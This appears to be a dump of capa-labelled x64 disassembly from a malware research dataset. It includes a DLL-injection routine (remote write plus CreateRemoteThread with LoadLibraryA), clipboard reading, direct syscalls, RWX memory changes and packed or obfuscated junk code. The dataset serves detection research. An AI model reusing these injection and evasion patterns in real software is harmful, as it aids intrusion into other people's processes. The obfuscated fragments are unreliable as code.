joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402738d3
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
call qword [sym.imp.WS2_32.dll_htons]
mov r13d, reloc.WS2_32.dll_recv
mov word [rsp + 0x52], ax
mov rbx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov r8d, r13d
call qword [sym.imp.WS2_32.dll_bind]
test eax, eax
jns 0x140071723
dec r15d
test r15d, r15d
jle 0x1400717a3
add di, 1
je 0x1400717a3
movzx r8d, di
lea rdx, str.Bind_to_local_port__hu_failed__trying_next
dec r8d
mov rcx, r14
call fcn.140041fa0
movzx ecx, di
call qword [sym.imp.WS2_32.dll_ntohs]
mov r8d, r13d
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov word [rsp + 0x52], ax
call qword [sym.imp.WS2_32.dll_bind]
test eax, eax
js 0x1400716d4
xorps xmm0, xmm0
mov dword [rsp + 0x40], pe_nt_image_headers64
lea r8, [rsp + 0x40]
mov rcx, rbx
lea rdx, [rbp - 0x30]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jns 0x1400717df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, 0x100
lea rdx, [rbp + 0xd0]
mov ecx, eax
mov dword [r14 + 0xd7c], eax
mov ebx, eax
call fcn.14002bed0
mov r9, rax
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov rcx, r14
call fcn.140041eb0
mov eax, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140071800
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, 0x100
lea rdx, [rbp - 0x30]
mov ecx, eax
mov dword [r14 + 0xd7c], eax
mov ebx, eax
call fcn.14002bed0
mov r9, rax
lea rdx, str.bind_failed_with_errno__d:__s
mov r8d, ebx
mov rcx, r14
call fcn.140041eb0
mov eax, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140071800
movzx r8d, di
lea rdx, str.Local_port:__hu
mov rcx, r14
call fcn.140041fa0
mov rax, qword [rsp + 0x38]
mov byte [rax + 0x2de], 1
xor eax, eax
mov rbx, qword [rsp + 0x2e8]
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140086430
add rsp, 0x2f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r13, qword [rsp + 0x60]
seta byte [rsp + 0x70]
cmp word [rsp + 0x70], 0x1082
not dword [rsp + 0x58]
push qword [rsp + 0x80]
popfq
lea rsp, [rsp + 0x90]
ret
lea r13, [r13 + rdx + 0x53dd1199]
setg byte [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
seta byte [rsp + 0x70]
xor r13b, 0x5a
jb 0x1400716a9
test dword [rsp + 0x70], 0x66426ce2
jae 0x1401b6ffc

Function at 0x14028e951
Capabilities:
Packed with generic packer

Disassembly:
or rsi, rsi
xor rsi, rsi
call fcn.140020372
add qword [rsp], 0x3fdcb
not r15w
movabs rcx, 0x40320457492c5957
sub cl, 0xe0
jns 0x14028e4b6
sub eax, 0xaf35711f
pop rbx
mov al, reloc.WS2_32.dll_recv
xor eax, 0xd021a6b9
invalid
jns 0x1401ec761
cmp r15, 0x1467144c
js 0x1401fb594
pop rcx
call fcn.14034e062
Function at 0x1402a0863
Capabilities:
Create thread

Disassembly:
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400201a5
lea rcx, str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp fcn.14002022c
lea rcx, str.DLL_path_writen_successfully._n
call fcn.14001d138
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140020231
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x1400201e9
lea rcx, str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp fcn.14002022c
mov edx, edi
lea rcx, str.LoadLibraryA_address_at_0x_X_n
call fcn.14001d138
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
lea rcx, str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
je fcn.14002022c
lea rcx, str.DLL_Injected___n
mov al, 1
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140086430
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
ja 0x14002018f
and qword [rsp + 0x48], 0x23956d6f
test qword [rsp + 0x48], 0x635e70fd
not dword [rsp + 0x48]
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x60]
ret

Function at 0x1402a0c70
Capabilities:
Encode data using xor

Disassembly:
lea rdi, [rdi*2 + 0x3eb70706]
mov rdi, qword [rsp + 0x10]
push qword [rsp + 8]
popfq
lea rsp, [rsp + 0x38]
call fcn.1404629bd

Function at 0x1402acb29
Capabilities:
Resolve function by parsing pe exports

Disassembly:
not qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
mov byte [rsp + 0x40], 0xc0
call fcn.140156854

Function at 0x1402acb3d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r11
mov r14, qword [rsp + 0x10]
call fcn.140170092

Function at 0x1402acb49
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rdi
push r12
movabs rdi, 0x42b743306baa3e01
movsx rdi, di
push r10
push r14
xchg qword [rsp + rdi*2 - 0x7bda], rax
mov r14, rdi
call fcn.1401db8a2

Function at 0x1402acb6e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add qword [rsp + 0x10], 0xfffffffffff138cb
add bx, 0x3b95
call fcn.14025729f

Function at 0x1402acb81
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r9
jbe 0x1403261b2
mov r8, qword [rsp]
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
not dl
call fcn.1400efdd8
jle 0x140153376
call fcn.1400dc51a
movabs rcx, 0x3ea4145857131612
call fcn.1402dc0dc
Function at 0x1402e445a
Capabilities:
Get common file path

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r15d, eax
test eax, eax
je 0x1400440e8
mov qword [rsp + 0x40], rsi
mov rsi, 0xffffffffffffffff
mov rdx, rsi
nop
inc rdx
cmp byte [rbx + rdx], bpl
jne 0x140044050
lea ecx, [rax + 1]
add rcx, rdx
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x1400440da
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1400440da
mov rax, rsi
cmp byte [rdi + rax + 1], bpl
lea rax, [rax + 1]
jne 0x140044080
mov ecx, 0x5c
mov word [rax + rdi], cx
inc rsi
cmp byte [rdi + rsi], bpl
jne 0x140044094
mov rcx, rdi
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1400440b0
mov rcx, rdi
test r14, r14
je 0x1400440d1
xor edx, edx
lea r8d, [rdx + 8]
call r14
jmp 0x1400440d7
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rcx, rdi
call qword [fcn.1400878e2]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call fcn.1401e2087
call fcn.1402d79d3
movzx r13d, r14w
je 0x1400f0af3
push r12
je 0x1400e0151
mov qword [rsp + r13 - 0xef47], rax
jbe 0x14004402f
xor r13, 0x71c3569f
mov r12, r14
or r14d, 0x1363166
push rsi
call fcn.1400e998a

Function at 0x1402ea184
Capabilities:
Get common file path

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140044026
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
cmovno si, r8w
push r13
neg r8w
and sil, byte [rsp + 0x76]
mov rbx, qword [rsp + 0x18]
jb 0x140043ffd
xor r8d, r8d
xor bpl, 0x1b
bswap rbp
mov rbp, qword [rsp + 0x28]
call fcn.14034f4a6

Function at 0x1402f1026
Capabilities:
Encode data using xor

Disassembly:
lea rbp, [rbp + rbp*8 + 0x7fff1fd7]
setbe r14b
or word [rsp + 0x78], bp
and r14d, 0x49617673
mov rbp, qword [rsp + 0x40]
not r14
call fcn.14017c55e
and al, al
and bh, byte [rsp + rdi*2 + 0x2ce2c734]
adc eax, 0x341d39be
in eax, 0xdb
cmp dword [rbp - 0x4c], ebx
invalid

Function at 0x1403387fa
Capabilities:
Read clipboard data

Disassembly:
movabs rcx, 0x73e66d3f14f96aad
pushfq
sub ecx, 0x245d0193
cmp cx, 0x7e1e
bswap rcx
mov rcx, qword [rsp + 0x10]
push qword [rsp]
popfq
lea rsp, [rsp + 0x20]
call fcn.14041d150
Function at 0x140338827
Capabilities:
Read clipboard data

Disassembly:
xor eax, eax
jmp 0x14000f454
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
jne 0x14000f3d5
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14000f3b3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x14000f43e
xor edx, edx
mov rcx, rax
call fcn.14000296c
mov ecx, dword [0x1400d447c]
lea ebx, [rax + 1]
cmp ebx, ecx
jle 0x14000f424
test ecx, ecx
je 0x14000f40c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x14000f411
mov eax, 8
cmp eax, ebx
lea rcx, [0x1400d4478]
mov edx, ebx
cmovg edx, eax
call fcn.140010098
mov rcx, qword [0x1400d4480]
xor r9d, r9d
mov r8, rsi
mov dword [0x1400d4478], ebx
mov edx, ebx
call fcn.140002838
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rax, qword [0x1400d4480]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
jb 0x1401d7c84
push rsi
pop rdi
bswap rdi
cmp dil, byte [rsp + 0x1e]
xchg qword [rsp + 0x40], rbp
push r10
push r12
jl 0x14000f3bf
neg word [rsp + 0x40]
setns sil
mov rsi, qword [rsp + 0x38]
call fcn.1402d9e2c
Function at 0x14034c1be
Capabilities:
Link function at runtime on windows
Link many functions at runtime

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.FreeLibraryWhenCallbackReturns
mov rcx, rbx
mov qword [0x1400cfea0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.GetCurrentProcessorNumber
mov rcx, rbx
mov qword [0x1400cfea8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.CreateSymbolicLinkW
mov rcx, rbx
mov qword [0x1400cfeb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.GetCurrentPackageId
mov rcx, rbx
mov qword [0x1400cfeb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.GetTickCount64
mov rcx, rbx
mov qword [0x1400cfec0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.GetFileInformationByHandleEx
mov rcx, rbx
mov qword [0x1400cfec8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.SetFileInformationByHandle
mov rcx, rbx
mov qword [0x1400cfed0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.GetSystemTimePreciseAsFileTime
mov rcx, rbx
mov qword [0x1400cfed8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.InitializeConditionVariable
mov rcx, rbx
mov qword [0x1400cfee0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.WakeConditionVariable
mov rcx, rbx
mov qword [0x1400cfee8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.WakeAllConditionVariable
mov rcx, rbx
mov qword [0x1400cfef0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.SleepConditionVariableCS
mov rcx, rbx
mov qword [0x1400cfef8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.InitializeSRWLock
mov rcx, rbx
mov qword [0x1400cff00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor rax, qword [0x1400b2700]
lea rdx, str.AcquireSRWLockExclusive
mov rcx, rbx
mov qword [0x1400cff08], rax
mov qword [rsp + 0x50], r15
movabs rsi, 0x6caf66a566060646
push r9
jo 0x140201e03
add qword [rsp + 0x18], 0xffffffffbfcf24d5
sub r9b, 0x3d
cmp r15w, word [rsp + 0x58]
lea rcx, [rcx + r9 + 0x23b1bf3c]
ja 0x140085b94
call fcn.140185afd
Function at 0x1408b560b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushfq
add qword [rsp + 8], 0xffffffffbf634bb2
call fcn.140915b08
and al, 0x21
xchg ebp, eax
add byte [0xe68b55dc], al
xor eax, 0x1000004e
add byte [rax], al
imul ecx, dword [rsi], 0x4c
add byte [rax], al
movabs al, byte [0x20000092eb720008]
or eax, dword [rax]
mov ch, 0xf1
mov eax, dword [rax]
add byte [rax + 0xd], dl
add byte [rbp - 0xe], dh
nop
add byte [rax], al
mov al, reloc.WS2_32.dll_listen
add byte [rsp + rbp*8 - 0x3fffffae], dh
or eax, 0x57820f00
jb 0x1409cb568
jns 0x1408dcef8
xchg edi, eax
sub al, 0x1f
insd dword [rdi], dx
ret 0xa9bd
push r12
mov rdx, qword [rsp + 0x18]
mov qword [rsp + 0x18], 0xffffffff969c27ad
push rcx
movabs rcx, 0x5d2a0cf5238e7509
mov r12, rcx
add cl, r12b
jbe 0x1408dcf24
mov r12, qword [rsp + 8]
pop rcx
add qword [rsp + 8], 0xffffffffbf634a90
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x18]
call fcn.140b0f9a4
call rax
mov r11, rax
test rax, rax
jmp 0x1409cabfb
call rax
jmp 0x1409cad65
jne 0x1409cac1e
lea rcx, [rsp + 0x40]
movzx rax, r14w
mov eax, edi
mov rax, qword [0x1404b11a0]
jmp fcn.1409a7208
cmp r11, rsi
jne 0x1409cacce
cmp byte [rsp + 0x180], dil
jmp 0x1409cac34
je 0x1409cacb3
lea rax, [rsp + 0x40]
bts rdx, r9
movsx dx, r15b
sub rbp, rax
ror dh, 0xbe
bt ax, di
nop
movzx rdx, ax
jmp 0x1409cac5f
lea rdx, [rsp + rdi + 0x40]
mov ecx, edi
xchg ah, ah
bts rax, rbx
mov eax, 0x316828ec
stc
cmc
rol eax, cl
cmc
add al, dil
cmp dil, dl
test r11d, 0x33782081
xor al, byte [rdx + rbp]
jmp 0x1409cac8b
mov byte [rdx], al
jmp 0x1409cac92
je 0x1409cacac
inc rdi
test r13w, ax
cmp rdi, 0x104
jb 0x1409cac5f
lea rbp, [rsp + 0x40]
rdtsc
mov rdx, rbp
movzx cx, r10b
nop
not al
mov rcx, rsi
mov rax, qword [0x1404b11b0]
jmp 0x14092806c
cmp byte [rbx + 1], 0x23
lea rdx, [rbx + 1]
jmp 0x1409cacdb
jne 0x1409cad46
movzx edx, byte [rbx + 2]
add rbx, 2
cmc
test r11b, 0x77
stc
test dl, dl
jmp 0x1409cacf6
je 0x1409cad43
nop
setnp ah
lea eax, [rdx - 0x30]
jmp 0x1409cad08
inc rbx
test r8b, r15b
cmp al, 9
jmp 0x1409cad15
ja 0x1409cad43
movsx eax, dl
ror cx, cl
cmp r15b, 0x3d
cmc
movzx edx, byte [rbx]
or cl, r8b
sets ch
lea ecx, [rdi + rdi*4]
lea edi, [rax + rcx*2 - 0x30]
test dl, dl
jmp 0x1409cad3d
jne 0x1409cad00
movsxd rdx, edi
xor r8d, r8d
movzx ecx, r10w
mov rcx, r11
call fcn.1409ca784
jmp 0x1409cad65
mov rbx, qword [rsp + 0x178]
rcr dil, 0xc
mov rdi, qword [rsp + 0x150]
btc ebp, 0x16
cmp rdi, 0x18dd2c49
add rsp, 0x158
movsx rsi, bx
jmp 0x1409cad94
pop rsi
bswap bp
movzx rbp, dx
pop rbp
jmp 0x1409cada2
ret
Function at 0x1408dcf3f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushfq
add qword [rsp + 8], 0xffffffffbf634bb2
call fcn.140915b08
and al, 0x21
xchg ebp, eax
add byte [0xe68b55dc], al
xor eax, 0x1000004e
add byte [rax], al
imul ecx, dword [rsi], 0x4c
add byte [rax], al
movabs al, byte [0x20000092eb720008]
or eax, dword [rax]
mov ch, 0xf1
mov eax, dword [rax]
add byte [rax + 0xd], dl
add byte [rbp - 0xe], dh
nop
add byte [rax], al
mov al, reloc.WS2_32.dll_listen
add byte [rsp + rbp*8 - 0x3fffffae], dh
or eax, 0x57820f00
jb 0x1409cb568
jns 0x1408dcef8
xchg edi, eax
sub al, 0x1f
insd dword [rdi], dx
ret 0xa9bd
push r12
mov rdx, qword [rsp + 0x18]
mov qword [rsp + 0x18], 0xffffffff969c27ad
push rcx
movabs rcx, 0x5d2a0cf5238e7509
mov r12, rcx
add cl, r12b
jbe 0x1408dcf24
mov r12, qword [rsp + 8]
pop rcx
add qword [rsp + 8], 0xffffffffbf634a90
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x18]
call fcn.140b0f9a4
call rax
mov r11, rax
test rax, rax
jmp 0x1409cabfb
call rax
jmp 0x1409cad65
jne 0x1409cac1e
lea rcx, [rsp + 0x40]
movzx rax, r14w
mov eax, edi
mov rax, qword [0x1404b11a0]
jmp fcn.1409a7208
cmp r11, rsi
jne 0x1409cacce
cmp byte [rsp + 0x180], dil
jmp 0x1409cac34
je 0x1409cacb3
lea rax, [rsp + 0x40]
bts rdx, r9
movsx dx, r15b
sub rbp, rax
ror dh, 0xbe
bt ax, di
nop
movzx rdx, ax
jmp 0x1409cac5f
lea rdx, [rsp + rdi + 0x40]
mov ecx, edi
xchg ah, ah
bts rax, rbx
mov eax, 0x316828ec
stc
cmc
rol eax, cl
cmc
add al, dil
cmp dil, dl
test r11d, 0x33782081
xor al, byte [rdx + rbp]
jmp 0x1409cac8b
mov byte [rdx], al
jmp 0x1409cac92
je 0x1409cacac
inc rdi
test r13w, ax
cmp rdi, 0x104
jb 0x1409cac5f
lea rbp, [rsp + 0x40]
rdtsc
mov rdx, rbp
movzx cx, r10b
nop
not al
mov rcx, rsi
mov rax, qword [0x1404b11b0]
jmp 0x14092806c
cmp byte [rbx + 1], 0x23
lea rdx, [rbx + 1]
jmp 0x1409cacdb
jne 0x1409cad46
movzx edx, byte [rbx + 2]
add rbx, 2
cmc
test r11b, 0x77
stc
test dl, dl
jmp 0x1409cacf6
je 0x1409cad43
nop
setnp ah
lea eax, [rdx - 0x30]
jmp 0x1409cad08
inc rbx
test r8b, r15b
cmp al, 9
jmp 0x1409cad15
ja 0x1409cad43
movsx eax, dl
ror cx, cl
cmp r15b, 0x3d
cmc
movzx edx, byte [rbx]
or cl, r8b
sets ch
lea ecx, [rdi + rdi*4]
lea edi, [rax + rcx*2 - 0x30]
test dl, dl
jmp 0x1409cad3d
jne 0x1409cad00
movsxd rdx, edi
xor r8d, r8d
movzx ecx, r10w
mov rcx, r11
call fcn.1409ca784
jmp 0x1409cad65
mov rbx, qword [rsp + 0x178]
rcr dil, 0xc
mov rdi, qword [rsp + 0x150]
btc ebp, 0x16
cmp rdi, 0x18dd2c49
add rsp, 0x158
movsx rsi, bx
jmp 0x1409cad94
pop rsi
bswap bp
movzx rbp, dx
pop rbp
jmp 0x1409cada2
ret

Function at 0x1409a71fe
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea rsp, [rsp + 8]
call fcn.1409f499b
Function at 0x140003534
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140004080]
test rax, rax
je 0x14000357e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000357e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000357e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000357e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000357e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003580
xor al, al
add rsp, 0x28
ret
Function at 0x140003ef0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003f24
cmp word [rcx], 0x5a4d
jne 0x140003f24
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003f24
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003f24
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003e30
test eax, eax
jne 0x140003f40
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003ea0
test rax, rax
je 0x140003f35
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400046ec
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x1400045f0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004590
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004a54
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1409b1bf8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1409b1bf4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004aa2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140004a9a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004b89
inc ebx
add rax, 0x28
jmp 0x140004a7a
mov rcx, r12
call fcn.140005281
mov rbp, rax
test rax, rax
jne 0x140004ac1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400049f0
movsxd rbx, ebx
mov rax, qword [0x1409b1bf8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000532f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1409b1bf8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004b23
mov rax, qword [0x1409b1bf8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400049f0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004b83
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004b83
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1409b1bf8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004b83
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400049f0
inc dword [0x1409b1bf4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004fb0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1409b1c60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409b1c40]
test rbx, rbx
je 0x140004ffc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004ff6
test eax, eax
jne 0x140004ff6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004fce
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400051b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400051d3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400051d3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400051d4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000520e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140005205
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140005210
inc r8d
add rax, 0x28
jmp 0x1400051ec
xor eax, eax
ret

Function at 0x140005281
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409acc70]
mov r8, rcx
mov rcx, r9
call fcn.1400051b0
test eax, eax
je 0x1400052ad
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400051d4
xor eax, eax
add rsp, 0x28
ret
Function at 0x140017646
Capabilities:
Execute syscall

Disassembly:
or eax, 0xf6874d77
mov r9, r9
jmp 0x1400174d1
Function at 0x14001ff8e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea rcx, [rbp - 0x38]
call fcn.140041940
mov dword [rsp - 0x3c], 0x5fc21d9
xchg r10, r10
jmp 0x14001fed0
call fcn.14003b678
mov dword [rsp - 0x20], ebx
mov dword [rsp - 0x20], 0x51a311e6
mov dword [rsp - 0x30], edi
jne 0x14001fbfa
je 0x14001fbfa
cmp rbx, rcx
ret
jmp 0x14001fd56
je 0x140020263
mov rcx, qword [0x1401455f0]
call fcn.1400eb8cc
mov dword [rsp - 0x38], 0x4c9f1be0
mov rdi, rdi
mov dword [rsp - 0x38], 0x54c4efc8
mov rcx, rdi
jmp 0x14001fefc
mov dword [rsp + 0x38], 0x4f004e
xchg r13, r13
mov dword [rsp - 0x24], 0x3ea64ff9
test al, al
je 0x14001fa4b
lea rcx, [rbp - 8]
mov rdx, rdx
jmp 0x140020132
pop rbx
ret
pop rbx
mov rbp, rbp
jmp 0x14001fcda
mov r11, r11
xchg r12, r12
test al, al
jne 0x140020569
lea rcx, [rbp - 8]
call fcn.140030fe4
mov r9, r9
jmp 0x140020263
mov dword [rsp - 0x18], 0x51dd141c
call fcn.1400eb8cc
cmp byte [0x140140ac8], bl
je fcn.14001fee7
mov r9, r9
xchg rsp, rsp
jmp 0x1400203ee
mov dword [rsp - 0x18], 0x5ab86f86
mov dword [rsp - 0x3c], 0x2af2512b
test al, al
jmp 0x14001ff89
call fcn.14003cec4
mov rcx, qword [0x140140ab0]
call fcn.1400a1fd0
xchg rsp, rsp
push rbx
movabs rbx, 0x4f698afffffdfde9
jmp 0x1400201bb
jmp 0x14001fd15
mov dword [rsp - 0x34], 0x561871eb
xchg rsp, rsp
mov rsp, rsp
mov dword [rsp + 0x30], 0x2d0000
mov dword [rsp + 0x34], 0x350075
jmp 0x14001fc7d
je 0x140020263
add byte [rax - 0x75], cl
or eax, 0x12565a
mov rcx, qword [0x1401455f0]
